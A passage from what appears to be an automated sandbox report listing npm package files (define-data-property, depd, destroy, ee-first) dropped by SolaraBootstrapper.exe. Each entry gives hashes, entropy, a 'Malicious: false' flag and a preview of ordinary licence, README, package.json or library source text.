Preview:	'use strict';..var $defineProperty = require('es-define-property');..var $SyntaxError = require('es-errors/syntax');.var $TypeError = require('es-errors/type');..var gopd = require('gopd');../** @type {import('.')} */.module.exports = function defineDataProperty(..obj,..property,..value.) {..if (!obj \|\| (typeof obj !== 'object' && typeof obj !== 'function')) {...throw new $TypeError('`obj` must be an object or a function`');..}..if (typeof property !== 'string' && typeof property !== 'symbol') {...throw new $TypeError('`property` must be a string or a symbol`');..}..if (arguments.length > 3 && typeof arguments[3] !== 'boolean' && arguments[3] !== null) {...throw new $TypeError('`nonEnumerable`, if provided, must be a boolean or null');..}..if (arguments.length > 4 && typeof arguments[4] !== 'boolean' && arguments[4] !== null) {...throw new $TypeError('`nonWritable`, if provided, must be a boolean or null');..}..if (arguments.length > 5 && typeof arguments[5] !== 'boolean' && arguments[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2856
Entropy (8bit):	5.098300314042864
Encrypted:	false
SSDEEP:	48:/OVkmRYCZUPagS4E0fSyRYsEg448rvsdl5yKQcbf4OS7yKBflmeSowVf4:yk1CSLI34QAkf0e6f4
MD5:	05B9BA4536B59B74C4B3C95327787004
SHA1:	C9384AA894159EE96E107CDD3002915849FC91FC
SHA-256:	BDE7F1465B344A24DA2B10D2EE99F87EDF8E0ECD177C28370B60AD9595DE730E
SHA-512:	4B81BBD31FD5DDCE528FB0EBCEFBBDA77891F124F7FAB9019C5FF1BDDDDAFBB679B5E3D131A94C02B495E47327985FA5ECC613F7A2A109E58F5994B358FC3B0E
Malicious:	false
Preview:	{.."name": "define-data-property",.."version": "1.1.4",.."description": "Define a data property on an object. Will fall back to assignment in an engine without descriptors.",.."main": "index.js",.."types": "./index.d.ts",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."tsc": "tsc -p .",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "npm run tsc",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository":

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10471
Entropy (8bit):	4.936553164721052
Encrypted:	false
SSDEEP:	192:OG6xzFuMZ/9p9wOZaOdqOZaOZpOZaqZSVEBxOZWOQ2OZDrZQXEXwc8OQ2OZDrZxu:OjbrwOZaOdqOZaOZpOZaqZSVEBxOZWOS
MD5:	0D1FABE33CA02B061AE2420E62C46059
SHA1:	B2BCAA3BAF27733B105784766E8A68D7394BE260
SHA-256:	DB68BC8E54487D027C9699F4B6DF2DF865386DE6F2B738619C7C6431C919767D
SHA-512:	4D5D626FDB0B3FCCC183896C7D74DC31070404BA6F311666CADFB3325FF2F07980D942BC7A59BC74CD3BEFF97C4C1FE2EE42846C2DA5AED3BD107FC78B96776D
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var v = require('es-value-fixtures');.var forEach = require('for-each');.var inspect = require('object-inspect');.var hasOwn = require('hasown');.var hasPropertyDescriptors = require('has-property-descriptors')();.var getOwnPropertyDescriptors = require('object.getownpropertydescriptors');.var ownKeys = require('reflect.ownkeys');..var defineDataProperty = require('../');..test('defineDataProperty', function (t) {..t.test('argument validation', function (st) {...forEach(v.primitives, function (nonObject) {....st['throws'](.....// @ts-expect-error.....function () { defineDataProperty(nonObject, 'key', 'value'); },.....TypeError,.....'throws on non-object input: ' + inspect(nonObject)....);...});....forEach(v.nonPropertyKeys, function (nonPropertyKey) {....st['throws'](.....// @ts-expect-error.....function () { defineDataProperty({}, nonPropertyKey, 'value'); },.....TypeError,.....'throws on non-PropertyKey input: ' + inspect(nonPropertyKey)....

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\tsconfig.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4883
Entropy (8bit):	4.172078287396977
Encrypted:	false
SSDEEP:	48:x80urTY8LBtkyo/8iDloqIcofiBvLz5WHDo30TpGipPTlPM8CndZDHmIFgGneDw9:BaB28yoqKKUH0kwWx26fGnobNY8vG
MD5:	A544F506AD2051F95D01D7F50D55A325
SHA1:	D32C092355606EB003FCBFDE330DFF29B721F085
SHA-256:	DF4B3B4BCC4F4A716F64EAA22530AD895E244489474D1583E866F5FD26EFE462
SHA-512:	8A87769E2C4249226E8AAD658CC858D488CC7D3029E5F6BF81683B701B30185E65D2D014400912D8CA68149E11FC957D56428A34F5DB07A96D5A6F17512A2853
Malicious:	false
Preview:	{. "compilerOptions": {. /* Visit https://aka.ms/tsconfig to read more about this file /.. / Projects /.. / Language and Environment /. "target": "es2022", / Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /. // "lib": [], / Specify a set of bundled library declaration files that describe the target runtime environment. /. // "noLib": true, / Disable including any library files, including the default lib.d.ts. /. "useDefineForClassFields": true, / Emit ECMAScript-standard-compliant class fields. /. // "moduleDetection": "auto", / Control what method is used to detect module-format JS files. /.. / Modules /. "module": "commonjs", / Specify what module code is generated. */. // "rootDir": "./",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\History.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2256
Entropy (8bit):	4.872108132358601
Encrypted:	false
SSDEEP:	48:xKGtcLOw2ASadyecxIVkv6SHZ4OQfFrFnSFFYTStU6fAhZUf:xoLgxaUh6NsFC6Msf
MD5:	0B39750CFDC98026919E4F2C3DCAE105
SHA1:	5C540DDAA04F4314090D7FB74B552789F9591551
SHA-256:	B6E94899B155A3F707694B8CED212E1B01F43D0953D89E1C5B718B3E5FB896FA
SHA-512:	B9BC50183B3637F478CBB78B1D88FDAC76C296CDC73C8829610AC99C3168239E24226C82688458EDAD598725255E413F05B42DD7FA1A25F41B5D41AD95E7702D
Malicious:	false
Preview:	2.0.0 / 2018-10-26.==================.. * Drop support for Node.js 0.6. * Replace internal `eval` usage with `Function` constructor. * Use instance methods on `process` to check for listeners..1.1.2 / 2018-01-11.==================.. * perf: remove argument reassignment. * Support Node.js 0.6 to 9.x..1.1.1 / 2017-07-27.==================.. * Remove unnecessary `Buffer` loading. * Support Node.js 0.6 to 8.x..1.1.0 / 2015-09-14.==================.. * Enable strict mode in more places. * Support io.js 3.x. * Support io.js 2.x. * Support web browser loading. - Requires bundler like Browserify or webpack..1.0.1 / 2015-04-07.==================.. * Fix `TypeError`s when under `'use strict'` code. * Fix useless type name on auto-generated messages. * Support io.js 1.x. * Support Node.js 0.12..1.0.0 / 2014-09-17.==================.. * No changes..0.4.5 / 2014-09-09.==================.. * Improve call speed to functions using the function wrapper. * Support Node.js 0.6..0.4.4

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:NiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:NiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	EBC30494FD072DC98368DA73E1821715
SHA1:	B1FC406040905BBDC79A2E9187BC58AA4BBE9774
SHA-256:	BD134B41DA59E452FB5A1D366B660886F741C87C2BF9428E93764C419FBC40F5
SHA-512:	175596609C91767A101D6B1051DE91563695B92245B5C4BD0A2BA4CC24EF28F0480EA2275878E566FC08D203D182545F7CC7EBFB08966CBA6BABED5112EDDBBD
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2018 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\Readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	9988
Entropy (8bit):	4.803049496208353
Encrypted:	false
SSDEEP:	192:pC3g93tCl7wTGdJfXkSCbkIwtN49jTgokqtEnKwGqM0J5GcTYGphchGvna:KM960TGAS/IwtN49jTgoksEnKwq0J5M9
MD5:	42D9D887A8CCE3B2AB9C8DA4FAED33E3
SHA1:	DEE99FAB95A6441191C709B010BABB1A7015B575
SHA-256:	11DEB26EAFA25A465FFB8A8E3C28195EB40E679FDA52B760132DBE9C9B21FB5C
SHA-512:	D9B07553C1C5FC505732D1435B81ACCBFE5D164728FD0C7EA0E179582BC6F4FB9DA7047E119468E6431903DDA8564D4A26608CDFAB5E2F7344D2F56A25B021AD
Malicious:	false
Preview:	# depd..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Linux Build][travis-image]][travis-url].[![Windows Build][appveyor-image]][appveyor-url].[![Coverage Status][coveralls-image]][coveralls-url]..Deprecate all the things..> With great modules comes great responsibility; mark things deprecated!..## Install..This module is installed directly using `npm`:..```sh.$ npm install depd.```..This module can also be bundled with systems like.[Browserify](http://browserify.org/) or [webpack](https://webpack.github.io/),.though by default this module will alter it's API to no longer display or.track deprecations...## API.. eslint-disable no-unused-vars -->..```js.var deprecate = require('depd')('my-module').```..This library allows you to display deprecation messages to your users..This library goes above and beyond with deprecation warnings by.introspection of the call stack (but only the bits that

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10932
Entropy (8bit):	4.779926082102364
Encrypted:	false
SSDEEP:	192:vpe1221Fdc5jXmXUApvcvcBGtXY/KQYbUY/rRgrNoYo8GVHXWVhVO:vpe191Lc5G0k//YsNIVHXWVhVO
MD5:	002A1F3E813CC05D9E3CC011F6601628
SHA1:	1690C27457637EC234D6B7658F1B96E547A0EB99
SHA-256:	4D587A5662E20A7BB9BFE6555AFE5987E1B80303A819B447394F37A93297EE91
SHA-512:	EA1AD9BCF09A73A10DD1FD8A66DAAC12F87725E16AD27E7BEFF6D9FDA937579976CD5D7ED6439C4122B16178C3FFDF410D6C7A54918F94BC98FA7950ADF3BD54
Malicious:	false
Preview:	/!. depd. * Copyright(c) 2014-2018 Douglas Christopher Wilson. * MIT Licensed. /../. Module dependencies.. /..var relative = require('path').relative../. Module exports.. /..module.exports = depd../. Get the path to base files on.. /..var basePath = process.cwd()../. Determine if namespace is contained in the string.. /..function containsNamespace (str, namespace) {. var vals = str.split(/[ ,]+/). var ns = String(namespace).toLowerCase().. for (var i = 0; i < vals.length; i++) {. var val = vals[i].. // namespace contained. if (val && (val === '' \|\| val.toLowerCase() === ns)) {. return true. }. }.. return false.}../*. Convert a data descriptor to accessor descriptor.. */..function convertDataDescriptorToAccessor (obj, prop, message) {. var descriptor = Object.getOwnPropertyDescriptor(obj, prop). var value = descriptor.value.. descriptor.get = function getter () { return value }.. if (descriptor.writable) {. descriptor.set = functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\lib\browser\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1512
Entropy (8bit):	4.711096243724832
Encrypted:	false
SSDEEP:	24:6+kpAtB8dDl1AQGkeAfaTOM2WKmbzTPJoFCWZ4aMY4rZCsCWZ4aM8J/cZyC5HnrC:/kG2dD3HaThlKaJodZDMY4rZCQZDM8J7
MD5:	5B958F39DF1DF069739CCD3765BAD0DE
SHA1:	C010F754ECD1E959F6BACAC10E976BEE24C215A0
SHA-256:	10B4D4A4E9D14E9E6A5AB7CED64405EF90E6BEC94D479A8E223CBBA88828AD79
SHA-512:	5848B28DDAAC1AF95D658D110AE8C18D309044206B066C575705E0F8B75F4A918FE692E5F90BBA6FE2B1C4EF8344C7096C4F7E2CE87F7FB1537B55E0489D75B3
Malicious:	false
Preview:	/!. depd. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = depd../. Create deprecate for namespace in caller.. /..function depd (namespace) {. if (!namespace) {. throw new TypeError('argument namespace is required'). }.. function deprecate (message) {. // no-op in browser. }.. deprecate._file = undefined. deprecate._ignored = true. deprecate._namespace = namespace. deprecate._traced = false. deprecate._warned = Object.create(null).. deprecate.function = wrapfunction. deprecate.property = wrapproperty.. return deprecate.}../. Return a wrapped function in a deprecation message.. . This is a no-op version of the wrapper, which does nothing but call. * validation.. /..function wrapfunction (fn, message) {. if (typeof fn !== 'function') {. throw new TypeError('argument fn must be a function'). }.. return fn.}../. Wrap property in a deprecation message.. . T

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.797072283263959
Encrypted:	false
SSDEEP:	24:SI411vNmW65tug6YvnZ/dWzrNtn6T+l6oOUr5g/xlr4QagRxf:SIIEt5tug6YvnVczrX0+woOUr5mNaS
MD5:	7F0A9D228C79F0EE4B89FC6117F1C687
SHA1:	3C10082C1464A6F589AA10CDA88285E780EBF857
SHA-256:	5A3659BCC2E47B25EBF9F23F38EB9452A58920BFE4B59410BFA6FE84639A3B99
SHA-512:	7BDD7259BCB8D79AA41777F03D3A3F8A29B60C2D25104072EDBA9FEBEB813E12EF78D31573637702DECDDBAA97D8FEC263BC413BD27DD660DED17D644458CBC2
Malicious:	false
Preview:	{. "name": "depd",. "description": "Deprecate all the things",. "version": "2.0.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "deprecate",. "deprecated". ],. "repository": "dougwilson/nodejs-depd",. "browser": "lib/browser/index.js",. "devDependencies": {. "benchmark": "2.1.4",. "beautify-benchmark": "0.2.4",. "eslint": "5.7.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-import": "2.14.0",. "eslint-plugin-markdown": "1.0.0-beta.7",. "eslint-plugin-node": "7.0.1",. "eslint-plugin-promise": "4.0.1",. "eslint-plugin-standard": "4.0.0",. "istanbul": "0.4.5",. "mocha": "5.2.0",. "safe-buffer": "5.1.2",. "uid-safe": "2.1.5". },. "files": [. "lib/",. "History.md",. "LICENSE",. "index.js",. "Readme.md". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint --plugin markdown --ext js,md .",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	5.171834503291163
Encrypted:	false
SSDEEP:	24:8FMpJrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMpJaJHlxE35QHOs5exm3ogF5n
MD5:	D5EB22CF6CC99E645B98B28EE3503DDF
SHA1:	E87DACBBEBE82F47B02F82971414682C03560373
SHA-256:	FFE370C8785B0B688D954977CE8DC52E19E5F17962CC5F80009C85EBA4925D56
SHA-512:	EBC01C095571F7C89F87D4164E82B0EC7E441113EEAB25D6FC242B928E96497C7E5DD5034ED12C776B660B957526DA5F9675AD32DE3E432861215CB8B37649CE
Malicious:	false
Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong me@jongleberry.com.Copyright (c) 2015-2022 Douglas Christopher Wilson doug@somethingdoug.com..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2459
Entropy (8bit):	4.899069861606129
Encrypted:	false
SSDEEP:	48:f4pIvIaRrqH/8ziv/1o+rGRJG7XGIfwgk57mLAsXPZImIEeJN:fPQx/H1oB2fwgkh+X+/5
MD5:	5866F60785543AB8D86B79DEC253DB49
SHA1:	31D6D0F4B8F17C2551540857056950C406618F51
SHA-256:	80F720DB998D4728565126EA1D4B96C5248D35C2E53032D23692CE3930DE69C8
SHA-512:	BF638F2F6112C8231C08A26784B0F86079494B4DFBB14D59BA87B0A72075FF1364FCC796463E6055D120E6FAEC30A47DE4F351FB769F1548D5C213ECB45B28ED
Malicious:	false
Preview:	# destroy..[![NPM version][npm-image]][npm-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test coverage][coveralls-image]][coveralls-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..Destroy a stream...This module is meant to ensure a stream gets destroyed, handling different APIs.and Node.js bugs...## API..```js.var destroy = require('destroy').```..### destroy(stream [, suppress])..Destroy the given stream, and optionally suppress any future `error` events...In most cases, this is identical to a simple `stream.destroy()` call. The rules.are as follows for a given stream:.. 1. If the `stream` is an instance of `ReadStream`, then call `stream.destroy()`. and add a listener to the `open` event to call `stream.close()` if it is. fired. This is for a Node.js bug that will leak a file descriptor if. `.destroy()` is called before `open`.. 2. If the `stream` is an instance of a zlib stream, then call `stream

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4258
Entropy (8bit):	4.806124915382072
Encrypted:	false
SSDEEP:	96:QDxP4dH18X0MJ1ncBEPwxr+Pfdm6h0eFoFXJ:QDxPEVXM3ncBEPwocuFoF5
MD5:	35723299A9B5B96D111CBF94C56C898F
SHA1:	6547E9C6DBFB287CB22819955726EFC01A29950F
SHA-256:	B54F50DB059987726CE2BDADCA5D66A1E3CEEF183AA5F43CE61AA53F05C36CB7
SHA-512:	D68622A50B1EFA8C3BA52FBF8F1A036CFFAFE608DC0788013F9B7347C7077F3167CB2504D54815750225DAD601C376A485357906F3C0CB6493BBAC67D4AC9579
Malicious:	false
Preview:	/!. destroy. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var EventEmitter = require('events').EventEmitter.var ReadStream = require('fs').ReadStream.var Stream = require('stream').var Zlib = require('zlib')../. Module exports.. * @public. /..module.exports = destroy../. Destroy the given stream, and optionally suppress any future `error` events.. . @param {object} stream. * @param {boolean} suppress. * @public. /..function destroy (stream, suppress) {. if (isFsReadStream(stream)) {. destroyReadStream(stream). } else if (isZlibStream(stream)) {. destroyZlibStream(stream). } else if (hasDestroy(stream)) {. stream.destroy(). }.. if (isEventEmitter(stream) && suppress) {. stream.removeAllListeners('error'). stream.addListener('error', noop). }.. return stream.}../. Destroy a ReadStream.. . @param {object} stream. * @private.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	4.69558664454679
Encrypted:	false
SSDEEP:	24:p3Ho11KGS+7UEGGQxVbYuNCHIZBlW90qLv/ZK:p3H4KGT7Vd+VbYuNCHIzUOqr/Q
MD5:	6015F23C6E2FD79F4A6E29453CE4DC1D
SHA1:	E12115ED9A1E2C56EB35ECFC14FF83B8C02935D5
SHA-256:	F865B50652DC062F43142E01F55DB2760CC10D255BD05AFD232E738999C58188
SHA-512:	1A09253A53E4067ABB67E51D3EFC6483DA2984581BB1583805DA63A602B525E9B5055B78EEDD42E823BDA8FCBCD92A69B1D89F72DE5E3D867524476C05552EA2
Malicious:	false
Preview:	{. "name": "destroy",. "description": "destroy a stream if possible",. "version": "1.2.0",. "author": {. "name": "Jonathan Ong",. "email": "me@jongleberry.com",. "url": "http://jongleberry.com",. "twitter": "https://twitter.com/jongleberry". },. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "repository": "stream-utils/destroy",. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0". },. "engines": {. "node": ">= 0.8",. "npm": "1.2.8000 \|\| >= 1.4.16". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec",. "test-ci": "nyc --reporter=lcovonly --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test". },. "files": [. "inde

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1099
Entropy (8bit):	5.12118596206391
Encrypted:	false
SSDEEP:	24:8FMp0rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMp0aJHlxE35QHOs5exm3ogF5n
MD5:	C8D3A30332ECB31CFAF4C0A06DA18F5C
SHA1:	B559C45C8D07F2679620D9771E68696EE3D5964B
SHA-256:	965EF284F7F4C176842EC2E87FA13E79FEED777D56D7A21A5A3B38F1BB6DC288
SHA-512:	50C1DA708C8FD2675EAA7DD1C1D74D42624CFAD467909DFA6AD8827DE73389716875EADA418B4DA056296728B28DC0959CF76392284DCCED468857D1F2186A99
Malicious:	false
Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong me@jongleberry.com..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	4.881718825469232
Encrypted:	false
SSDEEP:	48:WERrqLuF98WhXW4RR6TjgGpgFAeTZ3BwbTZOkt47mZALXq:eLuFOWZW4dy3eTZ3+bTZOktKTXq
MD5:	8591E9D47FB8574F4A99AC3DE242B3CC
SHA1:	7C611CDEB6B66DF78ADFB4B1A56FEC087DCE14B5
SHA-256:	4480E03D020436E665886A99120ABB2EE7FB422850E1B53CCBDBDBD251414C23
SHA-512:	3309F93386F1A8275F8EF1D76B2E242C8287C39662BE567A501DEE017B5564C0F1E73BA332816FD6387DA5497918A5B2824DC0DA94A6B1ECD7A87C85F1FB2AEF
Malicious:	false
Preview:	# EE First..[![NPM version][npm-image]][npm-url].[![Build status][travis-image]][travis-url].[![Test coverage][coveralls-image]][coveralls-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url].[![Gittip][gittip-image]][gittip-url]..Get the first event in a set of event emitters and event pairs,.then clean up after itself...## Install..```sh.$ npm install ee-first.```..## API..```js.var first = require('ee-first').```..### first(arr, listener)..Invoke `listener` on the first event from the list specified in `arr`. `arr` is.an array of arrays, with each array in the format `[ee, ...event]`. `listener`.will be called only once, the first time any of the given events are emitted. If.`error` is one of the listened events, then if that fires first, the `listener`.will be given the `err` argument...The `listener` is invoked as `listener(err, ee, event, args)`, where `err` is the.first argument emitted from an `error` event, if applicable; `ee` is the eve

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1684
Entropy (8bit):	4.5679331887887225
Encrypted:	false
SSDEEP:	24:U+XMpAtBfp0LsQS1JCyOyTZqDZJQSQoIH0h0EzNxTQw516j4bv9ALogX23v+h:lXMGFp0LshIDU6FkA8jwGoWaO
MD5:	E7A3F46D4B903C9F8A025CB753B1A538
SHA1:	6721B521AC3509731D3D0F9B0074908176E1FCC4
SHA-256:	29D3CCCDDC7148F48715BFC94EB6F7B9F9132A5ECB704B9D4B713DE87E7603DD
SHA-512:	8E679EA25F82928ED7D55A6E2C08A647C6457D84749155716273BA3B33A030C262DD359A3BBB12465A58E3DC89BCEC9C3FB7E9CE64B3ECFBF2B14DF49B9DAFEA
Malicious:	false
Preview:	/!. ee-first. * Copyright(c) 2014 Jonathan Ong. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = first../. Get the first event in a set of event emitters and event pairs.. . @param {array} stuff. * @param {function} done. * @public. */..function first(stuff, done) {. if (!Array.isArray(stuff)). throw new TypeError('arg must be an array of [ee, events...] arrays').. var cleanups = [].. for (var i = 0; i < stuff.length; i++) {. var arr = stuff[i].. if (!Array.isArray(arr) \|\| arr.length < 2). throw new TypeError('each array member must be [ee, events...]').. var ee = arr[0].. for (var j = 1; j < arr.length; j++) {. var event = arr[j]. var fn = listener(event, callback).. // listen to the event. ee.on(event, fn). // push this listener to the list of cleanups. cleanups.push({. ee: ee,. event: event,. fn: fn,. }). }. }.. function callback() {. cleanup().

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ee-first\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.742869091916768
Encrypted:	false
SSDEEP:	12:OXjj1wGSMwMVZrAEG1jnGQxR7CnpZ+U0wWpk/Ga4JVSYLZLPOyZiPjXy8enYMw:gX1wGS+7UEGGQxVekFwW7Zqy4y8e1w
MD5:	3ED21090E07EF5DD57729A77C4291CB9
SHA1:	7FFE61F87F94A558FABC177CAD5C9B90B16481CF
SHA-256:	A4EECE6FF6B38BF7AC107323F381CC60500097A9CBDD473F5D5B45E68822CB89
SHA-512:	54DE61C6AB428104F9A559ECD3DF7868AB7F1B5C8B85A3F658C8DAB13D435BD0766C6B48178A1D5BD083B0829F6461158E303538C7D08761B201B17F7C9940B3
Malicious:	false
